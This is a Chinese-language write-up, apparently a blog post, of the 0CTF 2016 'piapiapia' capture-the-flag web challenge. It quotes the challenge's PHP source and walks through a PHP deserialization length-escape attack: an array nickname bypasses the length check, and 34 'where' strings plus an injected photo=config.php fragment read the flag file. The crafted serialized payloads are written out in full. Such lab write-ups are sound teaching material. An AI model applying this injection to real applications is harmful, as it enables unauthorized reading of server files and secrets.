[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

在这里插入图片描述
www.zip文件泄露,(其实我自己扫第一遍的时候没有扫到,后来多扫了几遍才扫到的)

config.php,里面有flag
在这里插入图片描述

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

传四个参数,一大堆限制

知识点:参数传递数组绕过字符串检测

nickname的长度限制可以用数组绕过(nickname[])

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

这里的file_get_contents($profile['photo'])是关键,要让$profile['photo']=config.php
所以要构建序列化
但是因为有在这里插入图片描述
$profile['photo']的值是不受我们控制的,这里就要用到字符串逃逸的知识点了
反序列化长度逃逸,必然是先把变量序列化,然后进行过滤,在过滤的过程中把某个关键词替换成了长度更长的关键词,导致长度加长,最终引起逃逸
因为对这个知识点的理解不深,所以后续关于反序列化长度逃逸的内容都是引用自这篇文章

可以得知他序列化后的字符串应为:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

在这里插入图片描述
把config.php从nickname塞进去就变成了

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

在这里插入图片描述
虽然给他反序列化之后结果photo的部分是config,php,但这样是读不到config.php的,因为更新profile的时候根本没地方插进去,因此就需要从nickname入手把这些数据悄悄带进去
首先解决nickname的长度限制问题
直接将nickname变成数组就可突破限制

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

在这里插入图片描述
但是现在$photo还是属于nickname的,要让它逃逸出来
在这里插入图片描述
这里有个正则替换,就是我们构造长度逃逸的关键
";}s:5:“photo”;s:10:“config.php”;}一共是34个字符,我们可以构造34个where让它在正则替换成hacker的过程中悄无声息地增加34个长度,那么";}s:5:“photo”;s:10:“config.php”;}就从nickname中逃逸出来了

那么现在应该是要注册账号,但是没有注册,根据文件应该是register.php
然后再update处抓包

在这里插入图片描述
修改nickname为数组
修改nickname的内容为34个where加上";}s:5:“photo”;s:10:“config.php”;}
在这里插入图片描述
一些warning,无伤大雅
发包
然后在profile.php的源代码里面可以找到flag的64编码

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值